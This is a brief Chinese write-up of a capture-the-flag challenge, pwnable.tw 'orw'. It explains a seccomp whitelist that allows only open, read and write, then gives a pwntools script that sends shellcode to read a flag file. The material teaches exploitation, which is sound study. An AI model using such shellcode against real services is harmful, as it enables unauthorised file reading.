开启了canary保护考虑open read write
其中seccomp是一个开启内核system call保护的函数。通过这一函数可以划定程序准许用户态调用的系统函数,相当于划定白名单,即题目所言【仅开启了open、write、read】。
EXP:
from pwn import *
r = remote('chall.pwnable.tw',10001)
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()